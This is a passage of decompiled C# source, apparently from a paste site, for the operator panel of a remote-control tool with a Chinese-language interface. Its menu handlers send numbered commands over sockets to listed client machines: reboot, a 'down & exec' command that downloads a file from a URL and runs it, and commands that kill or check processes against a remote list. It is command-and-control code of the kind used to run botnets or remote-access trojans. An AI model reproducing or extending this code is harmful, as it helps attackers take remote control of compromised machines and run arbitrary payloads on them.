  1716.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1717.             checked
  1718.             {
  1719.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1720.                 {
  1721.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1722.                     {
  1723.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("2|" + text), this.ClietnIP[selectedItems[i].Text]);
  1724.                     }
  1725.                 }
  1726.             }
  1727.         }
  1728.         private void RebootToolStripMenuItem_Click(object sender, EventArgs e)
  1729.         {
  1730.             string text = Conversions.ToString((int)Interaction.MsgBox("确认要重启选中机器?", MsgBoxStyle.YesNo, null));
  1731.             if (Conversions.ToDouble(text) != 6.0)
  1732.             {
  1733.                 return;
  1734.             }
  1735.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1736.             checked
  1737.             {
  1738.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1739.                 {
  1740.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1741.                     {
  1742.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("0|" + text), this.ClietnIP[selectedItems[i].Text]);
  1743.                     }
  1744.                 }
  1745.             }
  1746.         }
  1747.         private void Button2_Click(object sender, EventArgs e)
  1748.         {
  1749.             string text = Interaction.InputBox("默认位置/tmp/helloworld  http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
  1750.             if (Operators.CompareString(text, "", false) == 0)
  1751.             {
  1752.                 return;
  1753.             }
  1754.             try
  1755.             {
  1756.                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1757.                 while (enumerator.MoveNext())
  1758.                 {
  1759.                     ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1760.                     if (this.ClientSockets.ContainsKey(listViewItem.SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1761.                     {
  1762.                         this.ClientSockets[listViewItem.SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[listViewItem.Text]);
  1763.                     }
  1764.                 }
  1765.             }
  1766.             finally
  1767.             {
  1768.                 IEnumerator enumerator;
  1769.                 if (enumerator is IDisposable)
  1770.                 {
  1771.                     (enumerator as IDisposable).Dispose();
  1772.                 }
  1773.             }
  1774.         }
  1775.         private void KillWebListToolStripMenuItem_Click(object sender, EventArgs e)
  1776.         {
  1777.             string text = Interaction.InputBox("文件格式xxx|xxx \r\n http://xxxx/xxx.xxxx", "kill process of list", "", -1, -1);
  1778.             if (Operators.CompareString(text, "", false) == 0)
  1779.             {
  1780.                 return;
  1781.             }
  1782.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1783.             checked
  1784.             {
  1785.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1786.                 {
  1787.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1788.                     {
  1789.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("3|" + text), this.ClietnIP[selectedItems[i].Text]);
  1790.                     }
  1791.                 }
  1792.             }
  1793.         }
  1794.         private void CheckRunListToolStripMenuItem_Click(object sender, EventArgs e)
  1795.         {
  1796.             string text = Interaction.InputBox("文件格式xxx|xxx  \r\nhttp://xxxx/xxx.xxxx!http下载地址", "check process of list", "", -1, -1);
  1797.             if (Operators.CompareString(text, "", false) == 0)
  1798.             {
  1799.                 return;
  1800.             }
  1801.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1802.             checked
  1803.             {
  1804.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1805.                 {
  1806.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1807.                     {
  1808.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("4|" + text), this.ClietnIP[selectedItems[i].Text]);
  1809.                     }
  1810.                 }
  1811.             }
  1812.         }
  1813.         private void DISRUNToolStripMenuItem_Click(object sender, EventArgs e)
  1814.         {
  1815.             string text = Conversions.ToString((int)Interaction.MsgBox("确认禁用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
  1816.             if (Conversions.ToDouble(text) != 6.0)
  1817.             {
  1818.                 return;
  1819.             }
  1820.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1821.             checked
  1822.             {
  1823.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1824.                 {
  1825.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1826.                     {
  1827.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("5|" + text), this.ClietnIP[selectedItems[i].Text]);
  1828.                         selectedItems[i].BackColor = Color.PaleVioletRed;
  1829.                     }
  1830.                 }
  1831.             }
  1832.         }
  1833.         private void EnRUNLISTToolStripMenuItem_Click(object sender, EventArgs e)
  1834.         {
  1835.             string text = Conversions.ToString((int)Interaction.MsgBox("确认重置并启用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
  1836.             if (Conversions.ToDouble(text) != 6.0)
  1837.             {
  1838.                 return;
  1839.             }
  1840.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1841.             checked
  1842.             {
  1843.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1844.                 {
  1845.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1846.                     {
  1847.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("6|" + text), this.ClietnIP[selectedItems[i].Text]);
  1848.                         selectedItems[i].BackColor = Color.FromArgb(224, 224, 224);
  1849.                     }
  1850.                 }
  1851.             }
  1852.         }
  1853.         [DebuggerStepThrough, CompilerGenerated]
  1854.         private void _Lambda$__1(object a0)
  1855.         {
  1856.             this.Listcp(Conversions.ToString(a0));
  1857.         }
  1858.         [DebuggerStepThrough, CompilerGenerated]
  1859.         private void _Lambda$__2(object a0)
  1860.         {
  1861.             this.Recv((Socket)a0);
  1862.         }
  1863.         [DebuggerStepThrough, CompilerGenerated]
  1864.         private void _Lambda$__3(object a0)
  1865.         {
  1866.             this.Recv((Socket)a0);
  1867.         }
  1868.     }
  1869. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement